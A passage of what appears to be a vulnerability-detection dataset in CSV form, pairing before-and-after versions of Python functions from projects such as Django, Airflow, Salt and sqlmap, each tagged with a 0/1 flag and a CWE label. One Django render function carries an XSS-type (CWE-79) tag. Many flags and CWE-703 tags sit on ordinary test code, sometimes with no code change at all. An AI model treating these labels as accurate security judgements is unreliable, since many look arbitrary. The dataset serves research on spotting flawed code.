                ""c"": True,
                ""d"": date.today(),
                ""e"": np.datetime64(""2020-01-01T00:00:00""),
            },
            index=[0],
        )

        local_path, _ = _log_model_with_signature_and_example(tmp, sig, input_example)
        loaded_model = Model.load(os.path.join(local_path, ""MLmodel""))
        path = os.path.join(local_path, loaded_model.saved_input_example_info[""artifact_path""])
        x = _dataframe_from_json(path, schema=sig.inputs)

        # date column will get deserialized into string
        input_example[""d""] = input_example[""d""].apply(lambda x: x.isoformat())
        pd.testing.assert_frame_equal(x, input_example)

        loaded_example = loaded_model.load_input_example(local_path)
        assert isinstance(loaded_example, pd.DataFrame)
        pd.testing.assert_frame_equal(loaded_example, input_example)",CWE-703,mlflow/mlflow,71bbe5e313f0b79d0d3e9b6b9d7cd9bb8038c561,"def test_model_log_with_input_example_succeeds():
    with TempDir(chdr=True) as tmp:
        sig = ModelSignature(
            inputs=Schema(
                [
                    ColSpec(""integer"", ""a""),
                    ColSpec(""string"", ""b""),
                    ColSpec(""boolean"", ""c""),
                    ColSpec(""string"", ""d""),
                    ColSpec(""datetime"", ""e""),
                ]
            ),
            outputs=Schema([ColSpec(name=None, type=""double"")]),
        )
        input_example = pd.DataFrame(
            {
                ""a"": np.int32(1),
                ""b"": ""test string"",
                ""c"": True,
                ""d"": date.today(),
                ""e"": np.datetime64(""2020-01-01T00:00:00""),
            },
            index=[0],
        )

        local_path, _ = _log_model_with_signature_and_example(tmp, sig, input_example)
        loaded_model = Model.load(os.path.join(local_path, ""MLmodel""))
        path = os.path.join(local_path, loaded_model.saved_input_example_info[""artifact_path""])
        x = _dataframe_from_json(path, schema=sig.inputs)

        # date column will get deserialized into string
        input_example[""d""] = input_example[""d""].apply(lambda x: x.isoformat())
        pd.testing.assert_frame_equal(x, input_example.astype({""b"": ""string"", ""d"": ""string""}))

        loaded_example = loaded_model.load_input_example(local_path)
        assert isinstance(loaded_example, pd.DataFrame)
        pd.testing.assert_frame_equal(
            loaded_example, input_example.astype({""b"": ""string"", ""d"": ""string""})
        )"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/oracle/operators/oracle.py,0,"def __init__(
        self,
        *,
        sql: str,
        oracle_conn_id: str = 'oracle_default',
        parameters: Optional[Union[Mapping, Iterable]] = None,
        autocommit: bool = False,
        **kwargs,
    ) -> None:
        super().__init__(**kwargs)
        self.oracle_conn_id = oracle_conn_id
        self.sql = sql
        self.autocommit = autocommit
        self.parameters = parameters",CWE-Unknown,apache/airflow,5093245d6f77a370fbd2f9e3df35ac6acf46a1c4,"def __init__(
        self,
        *,
        sql: str,
        oracle_conn_id: str = 'oracle_default',
        parameters: Optional[Union[Mapping, Iterable]] = None,
        autocommit: bool = False,
        **kwargs,
    ) -> None:
        super().__init__(**kwargs)
        self.oracle_conn_id = oracle_conn_id
        self.sql = sql
        self.autocommit = autocommit
        self.parameters = parameters"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/mac_service.py,0,"def __virtual__():
    '''
    Only for macOS with launchctl
    '''
    if not salt.utils.platform.is_darwin():
        return (False, 'Failed to load the mac_service module:\n'
                       'Only available on macOS systems.')

    if not salt.utils.path.which('launchctl'):
        return (False, 'Failed to load the mac_service module:\n'
                       'Required binary not found: ""launchctl""')

    if not salt.utils.path.which('plutil'):
        return (False, 'Failed to load the mac_service module:\n'
                       'Required binary not found: ""plutil""')

    if _LooseVersion(__grains__['osrelease']) < _LooseVersion('10.11'):
        return (False, 'Failed to load the mac_service module:\n'
                       'Requires macOS 10.11 or newer')

    return __virtualname__",,saltstack/salt,941ec5f9a9de4ae05f8c6112e555e61e328c68a9,"def __virtual__():
    '''
    Only for macOS with launchctl
    '''
    if not salt.utils.platform.is_darwin():
        return (False, 'Failed to load the mac_service module:\n'
                       'Only available on macOS systems.')

    if not salt.utils.path.which('launchctl'):
        return (False, 'Failed to load the mac_service module:\n'
                       'Required binary not found: ""launchctl""')

    if not salt.utils.path.which('plutil'):
        return (False, 'Failed to load the mac_service module:\n'
                       'Required binary not found: ""plutil""')

    if _LooseVersion(__grains__['osrelease']) < _LooseVersion('10.11'):
        return (False, 'Failed to load the mac_service module:\n'
                       'Requires macOS 10.11 or newer')

    return __virtualname__"
,UNKNOWN,UNKNOWN,tests/providers/cncf/kubernetes/operators/test_spark_kubernetes.py,1,"def test_spark_kubernetes_operator(mock_kubernetes_hook, data_file):
    operator = SparkKubernetesOperator(
        task_id=""task_id"",
        application_file=data_file(""spark/application_test.yaml"").as_posix(),
        kubernetes_conn_id=""kubernetes_conn_id"",
        in_cluster=True,
        cluster_context=""cluster_context"",
        config_file=""config_file"",
    )
    mock_kubernetes_hook.assert_not_called()  # constructor shouldn't call the hook

    assert ""hook"" not in operator.__dict__",CWE-703,apache/airflow,ec6091d498ff63935fd70958a043eb1f0c8e6b6c,"def test_spark_kubernetes_operator(mock_kubernetes_hook, data_file):
    operator = SparkKubernetesOperator(
        task_id=""task_id"",
        application_file=data_file(""spark/application_test.yaml"").as_posix(),
        kubernetes_conn_id=""kubernetes_conn_id"",
        in_cluster=True,
        cluster_context=""cluster_context"",
        config_file=""config_file"",
    )
    mock_kubernetes_hook.assert_not_called()  # constructor shouldn't call the hook

    assert ""hook"" not in operator.__dict__"
,UNKNOWN,UNKNOWN,test_requests.py,1,"def test_manual_redirect_with_partial_body_read(self, httpbin):
        s = requests.Session()
        r1 = s.get(httpbin('redirect/2'), allow_redirects=False, stream=True)
        assert r1.is_redirect
        rg = s.resolve_redirects(r1, stream=True)

        # read only the first eight bytes of the response body,
        # then follow the redirect
        r1.iter_content(8)
        r2 = next(rg)
        assert r2.is_redirect

        # read all of the response via iter_content,
        # then follow the redirect
        for _ in r2.iter_content():
            pass
        r3 = next(rg)
        assert not r3.is_redirect",CWE-703,psf/requests,4dfe7a488580e9a17d38408e79561fb146913d75,"def test_manual_redirect_with_partial_body_read(self, httpbin):
        s = requests.Session()
        r1 = s.get(httpbin('redirect/2'), allow_redirects=False, stream=True)
        assert r1.is_redirect
        rg = s.resolve_redirects(r1, r1.request, stream=True)

        # read only the first eight bytes of the response body,
        # then follow the redirect
        r1.iter_content(8)
        r2 = next(rg)
        assert r2.is_redirect

        # read all of the response via iter_content,
        # then follow the redirect
        for _ in r2.iter_content():
            pass
        r3 = next(rg)
        assert not r3.is_redirect"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/grep/fileUpload.py,0,"def _testResponse(self, request, response):
        
        if response.is_text_or_html():
            for input in self._input.findall( response.getBody() ):
                if self._file.search(input):
                    i = info.info()
                    i.setName('File upload form')
                    i.setURL( response.getURL() )
                    i.setId( response.id )
                    i.setDesc( 'The URL: ""' + response.getURL() + '"" has form with file upload capabilities.' )
                    kb.kb.append( self , 'fileUpload' , i )",,andresriancho/w3af,337f0102ee27161714d3701d4e9454290f2691bc,"def _testResponse(self, request, response):
        
        if response.is_text_or_html():
            input_res = self._input.search( response.getBody() )
            if input_res: # input tag found
                file_res = self._file.search(input_res.group())
                if file_res:
                    i = info.info()
                    i.setName('File upload form')
                    i.setURL( response.getURL() )
                    i.setId( response.id )
                    i.setDesc( 'The URL: ""' + response.getURL() + '"" has form with file upload capabilities.' )
                    kb.kb.append( self , 'fileUpload' , i )"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/cli/commands/test_asset_command.py,1,"def test_cli_assets_materialize(parser: ArgumentParser) -> None:
    args = parser.parse_args([""assets"", ""materialize"", ""--name=asset1_producer"", ""--output=json""])
    with contextlib.redirect_stdout(io.StringIO()) as temp_stdout:
        asset_command.asset_materialize(args)

    output = temp_stdout.getvalue()
    # Skip the first line of `temp_stdout` since the current `DAGRunResponse` requires `DagBundlesManager`, which logs `INFO - DAG bundles loaded: dags-folder, example_dags`.
    output = ""\n"".join(output.splitlines()[1:])
    run_list = json.loads(output)
    assert len(run_list) == 1

    # No good way to statically compare these.
    undeterministic: dict = {
        ""dag_run_id"": None,
        ""dag_versions"": [],
        ""data_interval_end"": None,
        ""data_interval_start"": None,
        ""logical_date"": None,
        ""queued_at"": None,
        ""run_after"": ""2025-02-12T19:27:59.066046Z"",
    }

    assert run_list[0] | undeterministic == undeterministic | {
        ""conf"": {},
        ""bundle_version"": None,
        ""dag_display_name"": ""asset1_producer"",
        ""dag_id"": ""asset1_producer"",
        ""end_date"": None,
        ""duration"": None,
        ""last_scheduling_decision"": None,
        ""note"": None,
        ""run_type"": ""manual"",
        ""start_date"": None,
        ""state"": ""queued"",
        ""triggered_by"": ""cli"",
        ""triggering_user_name"": ""root"",
        ""run_after"": ""2025-02-12T19:27:59.066046Z"",
    }",CWE-703,apache/airflow,09438ff6c6acc4b99fd1f136ecec3698dd49e21d,"def test_cli_assets_materialize(parser: ArgumentParser) -> None:
    args = parser.parse_args([""assets"", ""materialize"", ""--name=asset1_producer"", ""--output=json""])
    with contextlib.redirect_stdout(io.StringIO()) as temp_stdout:
        asset_command.asset_materialize(args)

    output = temp_stdout.getvalue()
    # Skip the first line of `temp_stdout` since the current `DAGRunResponse` requires `DagBundlesManager`, which logs `INFO - DAG bundles loaded: dags-folder, example_dags`.
    output = ""\n"".join(output.splitlines()[1:])
    run_list = json.loads(output)
    assert len(run_list) == 1

    # No good way to statically compare these.
    undeterministic: dict = {
        ""dag_run_id"": None,
        ""dag_versions"": [],
        ""data_interval_end"": None,
        ""data_interval_start"": None,
        ""logical_date"": None,
        ""queued_at"": None,
        ""run_after"": ""2025-02-12T19:27:59.066046Z"",
    }

    assert run_list[0] | undeterministic == undeterministic | {
        ""conf"": {},
        ""bundle_version"": None,
        ""dag_display_name"": ""asset1_producer"",
        ""dag_id"": ""asset1_producer"",
        ""end_date"": None,
        ""duration"": None,
        ""last_scheduling_decision"": None,
        ""note"": None,
        ""run_type"": ""manual"",
        ""start_date"": None,
        ""state"": ""queued"",
        ""triggered_by"": ""cli"",
        ""run_after"": ""2025-02-12T19:27:59.066046Z"",
    }"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/data/dataset_source_registry.py,0,"def register_entrypoints(self):
        """"""
        Registers dataset sources defined as Python entrypoints. For reference, see
        https://mlflow.org/docs/latest/plugins.html#defining-a-plugin.
        """"""
        for entrypoint in entrypoints.get_group_all(""mlflow.dataset_source""):
            try:
                self.register(entrypoint.load())
            except (AttributeError, ImportError) as exc:
                warnings.warn(
                    ""Failure attempting to register dataset constructor""
                    + f' ""{entrypoint}"": {exc}',
                    stacklevel=2,
                )",,mlflow/mlflow,654fae14ab694f4512c0163f76eda6cea2defc3f,"def register_entrypoints(self):
        """"""
        Registers dataset sources defined as Python entrypoints. For reference, see
        https://mlflow.org/docs/latest/plugins.html#defining-a-plugin.
        """"""
        for entrypoint in entrypoints.get_group_all(""mlflow.dataset_source""):
            try:
                self.register(entrypoint.load())
            except (AttributeError, ImportError) as exc:
                warnings.warn(
                    f""Failure attempting to register dataset source with source type""
                    f' ""{entrypoint.source_type}"": {exc}',
                    stacklevel=2,
                )"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/common.py,0,"def dataToStdout(data, forceOutput=False, bold=False, contentType=None, status=CONTENT_STATUS.IN_PROGRESS, coloring=True):
    """"""
    Writes text to the stdout (console) stream
    """"""

    if not IS_TTY and isinstance(data, six.string_types) and data.startswith(""\r""):
        if re.search(r""\(\d+%\)"", data):
            data = """"
        else:
            data = ""\n%s"" % data.strip(""\r"")

    if not kb.get(""threadException""):
        if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get(""wizardMode"")):
            multiThreadMode = kb.get(""multiThreadMode"")
            if multiThreadMode:
                logging._acquireLock()

            try:
                if conf.get(""api""):
                    sys.stdout.write(stdoutEncode(clearColors(data)), status, contentType)
                else:
                    sys.stdout.write(stdoutEncode(setColor(data, bold=bold) if coloring else clearColors(data)))
            except IOError:
                pass
            except UnicodeEncodeError:
                sys.stdout.write(re.sub(r""[^ -~]"", '?', clearColors(data)))
            finally:
                sys.stdout.flush()

            if multiThreadMode:
                logging._releaseLock()

            kb.prependFlag = isinstance(data, six.string_types) and (len(data) == 1 and data not in ('\n', '\r') or len(data) > 2 and data[0] == '\r' and data[-1] != '\n')",,sqlmapproject/sqlmap,54e342399d8de78206261453fc1d68ff1a78cabc,"def dataToStdout(data, forceOutput=False, bold=False, contentType=None, status=CONTENT_STATUS.IN_PROGRESS, coloring=True):
    """"""
    Writes text to the stdout (console) stream
    """"""

    if not IS_TTY and isinstance(data, six.string_types) and data.startswith(""\r""):
        if re.search(r""\(\d+%\)"", data):
            data = """"
        else:
            data = ""\n%s"" % data.strip(""\r"")

    if not kb.get(""threadException""):
        if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get(""wizardMode"")):
            multiThreadMode = kb.get(""multiThreadMode"")
            if multiThreadMode:
                logging._acquireLock()

            try:
                if conf.get(""api""):
                    sys.stdout.write(stdoutEncode(clearColors(data)), status, contentType)
                else:
                    sys.stdout.write(stdoutEncode(setColor(data, bold=bold) if coloring else clearColors(data)))

                sys.stdout.flush()
            except IOError:
                pass

            if multiThreadMode:
                logging._releaseLock()

            kb.prependFlag = isinstance(data, six.string_types) and (len(data) == 1 and data not in ('\n', '\r') or len(data) > 2 and data[0] == '\r' and data[-1] != '\n')"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/pip.py,0,"def _get_pip_bin(bin_env):
    """"""
    Locate the pip binary, either from `bin_env` as a virtualenv, as the
    executable itself, or from searching conventional filesystem locations
    """"""
    bundled = _check_bundled()

    if not bin_env:
        if bundled:
            logger.debug(""pip: Using pip from bundled app"")
            return [os.path.normpath(sys.executable), ""pip""]
        else:
            logger.debug(""pip: Using pip from currently-running Python"")
            return [os.path.normpath(sys.executable), ""-m"", ""pip""]

    python_bin = ""python.exe"" if salt.utils.platform.is_windows() else ""python""

    def _search_paths(*basedirs):
        ret = []
        for path in basedirs:
            ret.extend(
                [
                    os.path.join(path, python_bin),
                    os.path.join(path, ""bin"", python_bin),
                    os.path.join(path, ""Scripts"", python_bin),
                ]
            )
        return ret

    # try to get python bin from virtualenv (i.e. bin_env)
    if os.path.isdir(bin_env):
        for bin_path in _search_paths(bin_env):
            if os.path.isfile(bin_path):
                if os.access(bin_path, os.X_OK):
                    logger.debug(""pip: Found python binary: %s"", bin_path)
                    return [os.path.normpath(bin_path), ""-m"", ""pip""]
                else:
                    logger.debug(
                        ""pip: Found python binary by name but it is not executable: %s"",
                        bin_path,
                    )
        raise CommandNotFoundError(
            ""Could not find a pip binary in virtualenv {}"".format(bin_env)
        )

    # bin_env is the python or pip binary
    elif os.access(bin_env, os.X_OK):
        if os.path.isfile(bin_env):
            # If the python binary was passed, return it
            if ""python"" in os.path.basename(bin_env):
                return [os.path.normpath(bin_env), ""-m"", ""pip""]
            # We have been passed a pip binary, use the pip binary.
            return [os.path.normpath(bin_env)]

        raise CommandExecutionError(
            ""Could not find a pip binary within {}"".format(bin_env)
        )
    else:
        raise CommandNotFoundError(
            ""Access denied to {}, could not find a pip binary"".format(bin_env)
        )",,saltstack/salt,76e50885b07621e9e4c16bc3f1ebc16c93983b90,"def _get_pip_bin(bin_env):
    """"""
    Locate the pip binary, either from `bin_env` as a virtualenv, as the
    executable itself, or from searching conventional filesystem locations
    """"""
    bundled = _check_bundled()

    if not bin_env:
        if bundled:
            logger.debug(""pip: Using pip from bundled app"")
            return [os.path.normpath(sys.executable), ""pip""]
        else:
            logger.debug(""pip: Using pip from currently-running Python"")
            return [os.path.normpath(sys.executable), ""-m"", ""pip""]

    python_bin = ""python.exe"" if salt.utils.platform.is_windows() else ""python""

    def _search_paths(*basedirs):
        ret = []
        for path in basedirs:
            ret.extend(
                [
                    os.path.join(path, python_bin),
                    os.path.join(path, ""bin"", python_bin),
                    os.path.join(path, ""Scripts"", python_bin),
                ]
            )
        return ret

    # try to get python bin from virtualenv (i.e. bin_env)
    if os.path.isdir(bin_env):
        for bin_path in _search_paths(bin_env):
            if os.path.isfile(bin_path):
                if os.access(bin_path, os.X_OK):
                    logger.debug(""pip: Found python binary: %s"", bin_path)
                    return [os.path.normpath(bin_path), ""-m"", ""pip""]
                else:
                    logger.debug(
                        ""pip: Found python binary by name but it is not ""
                        ""executable: %s"",
                        bin_path,
                    )
        raise CommandNotFoundError(
            ""Could not find a pip binary in virtualenv {}"".format(bin_env)
        )

    # bin_env is the python or pip binary
    elif os.access(bin_env, os.X_OK):
        if os.path.isfile(bin_env):
            # If the python binary was passed, return it
            if ""python"" in os.path.basename(bin_env):
                return [os.path.normpath(bin_env), ""-m"", ""pip""]
            # We have been passed a pip binary, use the pip binary.
            return [os.path.normpath(bin_env)]

        raise CommandExecutionError(
            ""Could not find a pip binary within {}"".format(bin_env)
        )
    else:
        raise CommandNotFoundError(
            ""Access denied to {}, could not find a pip binary"".format(bin_env)
        )"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/database/mysql/mysql_info.py,0,"def main():
    argument_spec = mysql_common_argument_spec()
    argument_spec.update(
        login_db=dict(type='str'),
        filter=dict(type='list'),
        exclude_fields=dict(type='list'),
        return_empty_dbs=dict(type='bool', default=False),
    )

    # The module doesn't support check_mode
    # because of it doesn't change anything
    module = AnsibleModule(
        argument_spec=argument_spec,
        supports_check_mode=True,
    )

    db = module.params['login_db']
    connect_timeout = module.params['connect_timeout']
    login_user = module.params['login_user']
    login_password = module.params['login_password']
    ssl_cert = module.params['client_cert']
    ssl_key = module.params['client_key']
    ssl_ca = module.params['ca_cert']
    config_file = module.params['config_file']
    filter_ = module.params['filter']
    exclude_fields = module.params['exclude_fields']
    return_empty_dbs = module.params['return_empty_dbs']

    if filter_:
        filter_ = [f.strip() for f in filter_]

    if exclude_fields:
        exclude_fields = set([f.strip() for f in exclude_fields])

    if mysql_driver is None:
        module.fail_json(msg=mysql_driver_fail_msg)

    try:
        cursor, db_conn = mysql_connect(module, login_user, login_password,
                                        config_file, ssl_cert, ssl_key, ssl_ca, db,
                                        connect_timeout=connect_timeout, cursor_class='DictCursor')
    except Exception as e:
        module.fail_json(msg=""unable to connect to database, check login_user and login_password are correct or %s has the credentials. ""
                             ""Exception message: %s"" % (config_file, to_native(e)))

    ###############################
    # Create object and do main job

    mysql = MySQL_Info(module, cursor)

    module.exit_json(changed=False, **mysql.get_info(filter_, exclude_fields, return_empty_dbs))",,ansible/ansible,70bc351f31ed7010ce981ce839a26ace4e4765cd,"def main():
    argument_spec = mysql_common_argument_spec()
    argument_spec.update(
        login_db=dict(type='str'),
        filter=dict(type='list'),
        exclude_fields=dict(type='list'),
        return_empty_dbs=dict(type='bool', default=False),
    )

    # The module doesn't support check_mode
    # because of it doesn't change anything
    module = AnsibleModule(
        argument_spec=argument_spec,
        supports_check_mode=True,
    )

    db = module.params['login_db']
    connect_timeout = module.params['connect_timeout']
    login_user = module.params['login_user']
    login_password = module.params['login_password']
    ssl_cert = module.params['client_cert']
    ssl_key = module.params['client_key']
    ssl_ca = module.params['ca_cert']
    config_file = module.params['config_file']
    filter_ = module.params['filter']
    exclude_fields = module.params['exclude_fields']
    return_empty_dbs = module.params['return_empty_dbs']

    if filter_:
        filter_ = [f.strip() for f in filter_]

    if exclude_fields:
        exclude_fields = set([f.strip() for f in exclude_fields])

    if mysql_driver is None:
        module.fail_json(msg=mysql_driver_fail_msg)

    try:
        cursor = mysql_connect(module, login_user, login_password,
                               config_file, ssl_cert, ssl_key, ssl_ca, db,
                               connect_timeout=connect_timeout, cursor_class='DictCursor')
    except Exception as e:
        module.fail_json(msg=""unable to connect to database, check login_user and login_password are correct or %s has the credentials. ""
                             ""Exception message: %s"" % (config_file, to_native(e)))

    ###############################
    # Create object and do main job

    mysql = MySQL_Info(module, cursor)

    module.exit_json(changed=False, **mysql.get_info(filter_, exclude_fields, return_empty_dbs))"
,UNKNOWN,UNKNOWN,django/newforms/widgets.py,1,"def render(self):
        """"""Outputs a <ul> for this set of radio fields.""""""
        return mark_safe(u'<ul>\n%s\n</ul>' % u'\n'.join([u'<li>%s</li>'
                % force_unicode(w) for w in self]))",CWE-79,django/django,f110da91dbfa2c9db7e6ef2082b4eb28a7741737,"def render(self):
        """"""Outputs a <ul> for this set of radio fields.""""""
        return mark_safe(u'<ul>\n%s\n</ul>' % u'\n'.join([u'<li>%s</li>'
                % force_unicode(w) for w in self]))"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/taskmods.py,0,"def render_text(self, outfd, data):
        for task in data:
            pid = task.UniqueProcessId

            outfd.write(""*"" * 72 + ""\n"")
            outfd.write(""{0} pid: {1:6}\n"".format(task.ImageFileName, pid))

            if task.Peb:
                outfd.write(""Command line : {0}\n"".format(str(task.Peb.ProcessParameters.CommandLine or '')))
                if hasattr(task, ""Wow64Process"") and task.Wow64Process != 0:
                    outfd.write(""Note: use ldrmodules for listing DLLs in Wow64 processes\n"")
                outfd.write(""{0}\n"".format(str(task.Peb.CSDVersion or '')))
                outfd.write(""\n"")
                self.table_header(outfd,
                                  [(""Base"", ""[addrpad]""),
                                   (""Size"", ""[addr]""),
                                   (""Path"", """"),
                                   ])
                for m in task.get_load_modules():
                    self.table_row(outfd, m.DllBase, m.SizeOfImage, str(m.FullDllName or ''))
            else:
                outfd.write(""Unable to read PEB for task.\n"")",,volatilityfoundation/volatility,2717daa3c7ba4c627b80fe1187bae6498b54f0fe,"def render_text(self, outfd, data):
        for task in data:
            pid = task.UniqueProcessId

            outfd.write(""*"" * 72 + ""\n"")
            outfd.write(""{0} pid: {1:6}\n"".format(task.ImageFileName, pid))

            if task.Peb:
                outfd.write(""Command line : {0}\n"".format(str(task.Peb.ProcessParameters.CommandLine or '')))
                outfd.write(""{0}\n"".format(str(task.Peb.CSDVersion or '')))
                outfd.write(""\n"")
                self.table_header(outfd,
                                  [(""Base"", ""[addrpad]""),
                                   (""Size"", ""[addr]""),
                                   (""Path"", """"),
                                   ])
                for m in task.get_load_modules():
                    self.table_row(outfd, m.DllBase, m.SizeOfImage, str(m.FullDllName or ''))
            else:
                outfd.write(""Unable to read PEB for task.\n"")"
,UNKNOWN,UNKNOWN,tornado/websocket.py,1,"def read_message(self, callback=None):
        """"""Reads a message from the WebSocket server.
        
        If on_message_callback was specified at WebSocket
        initialization, this function will never return messages

        Returns a future whose result is the message, or None
        if the connection is closed.  If a callback argument
        is given it will be called with the future when it is
        ready.
        """"""
        assert self.read_future is None
        future = TracebackFuture()
        if self.read_queue:
            future.set_result(self.read_queue.popleft())
        else:
            self.read_future = future
        if callback is not None:
            self.io_loop.add_future(future, callback)
        return future",CWE-703,tornadoweb/tornado,1e8582f30c05b172cef93ccfb9143d4f0c1fdbaf,"def read_message(self, callback=None):
        """"""Reads a message from the WebSocket server.
        
        If `on_message_callback` was specified at WebSocket
        initialization, this function will never return messages

        Returns a future whose result is the message, or None
        if the connection is closed.  If a callback argument
        is given it will be called with the future when it is
        ready.
        """"""
        assert self.read_future is None
        future = TracebackFuture()
        if self.read_queue:
            future.set_result(self.read_queue.popleft())
        else:
            self.read_future = future
        if callback is not None:
            self.io_loop.add_future(future, callback)
        return future"
,UNKNOWN,UNKNOWN,tests/pytests/integration/modules/test_mac_power_sleep_on_power_button.py,1,"def test_sleep_on_power_button(salt_call_cli):
    """"""
    Test power.get_sleep_on_power_button
    Test power.set_sleep_on_power_button
    """"""
    SLEEP_ON_BUTTON = None

    ret = salt_call_cli.run(""power.get_sleep_on_power_button"")
    if isinstance(ret.data, bool):
        SLEEP_ON_BUTTON = ret.data

    # If available on this system, test it
    if SLEEP_ON_BUTTON is None:
        # Check for not available
        assert ""Error"" in ret.stderr
    else:
        ret = salt_call_cli.run(""power.set_sleep_on_power_button"", ""on"")
        assert ret.data

        ret = salt_call_cli.run(""power.get_sleep_on_power_button"")
        assert ret.data

        ret = salt_call_cli.run(""power.set_sleep_on_power_button"", ""off"")
        assert ret.data

        ret = salt_call_cli.run(""power.get_sleep_on_power_button"")
        assert not ret.data

        salt_call_cli.run(""power.set_sleep_on_power_button"", SLEEP_ON_BUTTON)",CWE-703,saltstack/salt,1bab15f901afa329b113b1db02ef3442a4efb3c3,"def test_sleep_on_power_button(salt_call_cli):
    """"""
    Test power.get_sleep_on_power_button
    Test power.set_sleep_on_power_button
    """"""
    SLEEP_ON_BUTTON = None

    ret = salt_call_cli.run(""power.get_sleep_on_power_button"")
    if isinstance(ret.data, bool):
        SLEEP_ON_BUTTON = salt_call_cli.run(""power.get_sleep_on_power_button"")

    # If available on this system, test it
    if SLEEP_ON_BUTTON.data is None:
        # Check for not available
        ret = salt_call_cli.run(""power.get_sleep_on_power_button"")
        assert ""Error"" in ret.data
    else:
        ret = salt_call_cli.run(""power.set_sleep_on_power_button"", ""on"")
        assert ret.data

        ret = salt_call_cli.run(""power.get_sleep_on_power_button"")
        assert ret.data

        ret = salt_call_cli.run(""power.set_sleep_on_power_button"", ""off"")
        assert ret.data

        ret = salt_call_cli.run(""power.get_sleep_on_power_button"")
        assert not ret.data

        salt_call_cli.run(""power.set_sleep_on_power_button"", SLEEP_ON_BUTTON)"
,UNKNOWN,UNKNOWN,django/contrib/mongodb/compiler.py,1,"def build_query(self):
        assert not self.query.aggregates
        assert len(self.query.alias_map) == 1
        assert self.query.default_cols
        assert not self.query.distinct
        assert not self.query.extra
        assert not self.query.having
        assert self.query.high_mark is None
        assert not self.query.order_by
        
        filters = self.get_filters(self.query.where)
        return self.connection.db[self.query.model._meta.db_table].find(filters)",CWE-703,django/django,7ce89032b6d54072c1f622a84f479c7e50bd6f18,"def build_query(self):
        assert not self.query.aggregates
        assert len(self.query.alias_map) == 1
        assert self.query.default_cols
        assert not self.query.distinct
        assert not self.query.extra
        assert not self.query.having
        assert self.query.high_mark is None
        assert not self.query.order_by
        
        filters = self.get_filters(self.query.where)
        return self.connection.db[self.query.model._meta.db_table].find(filters)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/core/management/commands/loaddata.py,0,"def find_fixtures(self, fixture_label):
        """"""
        Finds fixture files for a given label.
        """"""
        fixture_name, ser_fmt, cmp_fmt = self.parse_name(fixture_label)
        databases = [self.using, None]
        cmp_fmts = list(self.compression_formats.keys()) if cmp_fmt is None else [cmp_fmt]
        ser_fmts = serializers.get_public_serializer_formats() if ser_fmt is None else [ser_fmt]

        if self.verbosity >= 2:
            self.stdout.write(""Loading '%s' fixtures..."" % fixture_name)

        if os.path.isabs(fixture_name):
            fixture_dirs = [os.path.dirname(fixture_name)]
            fixture_name = os.path.basename(fixture_name)
        else:
            fixture_dirs = self.fixture_dirs
            if os.path.sep in fixture_name:
                fixture_dirs = [os.path.join(dir_, os.path.dirname(fixture_name))
                                for dir_ in fixture_dirs]
                fixture_name = os.path.basename(fixture_name)

        suffixes = ('.'.join(ext for ext in combo if ext)
                for combo in product(databases, ser_fmts, cmp_fmts))
        targets = set('.'.join((fixture_name, suffix)) for suffix in suffixes)

        fixture_files = []
        for fixture_dir in fixture_dirs:
            if self.verbosity >= 2:
                self.stdout.write(""Checking %s for fixtures..."" % humanize(fixture_dir))
            fixture_files_in_dir = []
            for candidate in glob.iglob(os.path.join(fixture_dir, fixture_name + '*')):
                if os.path.basename(candidate) in targets:
                    # Save the fixture_dir and fixture_name for future error messages.
                    fixture_files_in_dir.append((candidate, fixture_dir, fixture_name))

            if self.verbosity >= 2 and not fixture_files_in_dir:
                self.stdout.write(""No fixture '%s' in %s."" %
                                  (fixture_name, humanize(fixture_dir)))

            # Check kept for backwards-compatibility; it isn't clear why
            # duplicates are only allowed in different directories.
            if len(fixture_files_in_dir) > 1:
                raise CommandError(
                    ""Multiple fixtures named '%s' in %s. Aborting."" %
                    (fixture_name, humanize(fixture_dir)))
            fixture_files.extend(fixture_files_in_dir)

        if fixture_name != 'initial_data' and not fixture_files:
            # Warning kept for backwards-compatibility; why not an exception?
            warnings.warn(""No fixture named '%s' found."" % fixture_name)
        elif fixture_name == 'initial_data' and fixture_files:
            warnings.warn(
                'initial_data fixtures are deprecated. Use data migrations instead.',
                RemovedInDjango19Warning
            )

        return fixture_files",CWE-Unknown,django/django,f8ec200671649282b9e62fb1a4dfc138fa4eb4fb,"def find_fixtures(self, fixture_label):
        """"""
        Finds fixture files for a given label.
        """"""
        fixture_name, ser_fmt, cmp_fmt = self.parse_name(fixture_label)
        databases = [self.using, None]
        cmp_fmts = list(self.compression_formats.keys()) if cmp_fmt is None else [cmp_fmt]
        ser_fmts = serializers.get_public_serializer_formats() if ser_fmt is None else [ser_fmt]

        if self.verbosity >= 2:
            self.stdout.write(""Loading '%s' fixtures..."" % fixture_name)

        if os.path.isabs(fixture_name):
            fixture_dirs = [os.path.dirname(fixture_name)]
            fixture_name = os.path.basename(fixture_name)
        else:
            fixture_dirs = self.fixture_dirs
            if os.path.sep in fixture_name:
                fixture_dirs = [os.path.join(dir_, os.path.dirname(fixture_name))
                                for dir_ in fixture_dirs]
                fixture_name = os.path.basename(fixture_name)

        suffixes = ('.'.join(ext for ext in combo if ext)
                for combo in product(databases, ser_fmts, cmp_fmts))
        targets = set('.'.join((fixture_name, suffix)) for suffix in suffixes)

        fixture_files = []
        for fixture_dir in fixture_dirs:
            if self.verbosity >= 2:
                self.stdout.write(""Checking %s for fixtures..."" % humanize(fixture_dir))
            fixture_files_in_dir = []
            for candidate in glob.iglob(os.path.join(fixture_dir, fixture_name + '*')):
                if os.path.basename(candidate) in targets:
                    # Save the fixture_dir and fixture_name for future error messages.
                    fixture_files_in_dir.append((candidate, fixture_dir, fixture_name))

            if self.verbosity >= 2 and not fixture_files_in_dir:
                self.stdout.write(""No fixture '%s' in %s."" %
                                  (fixture_name, humanize(fixture_dir)))

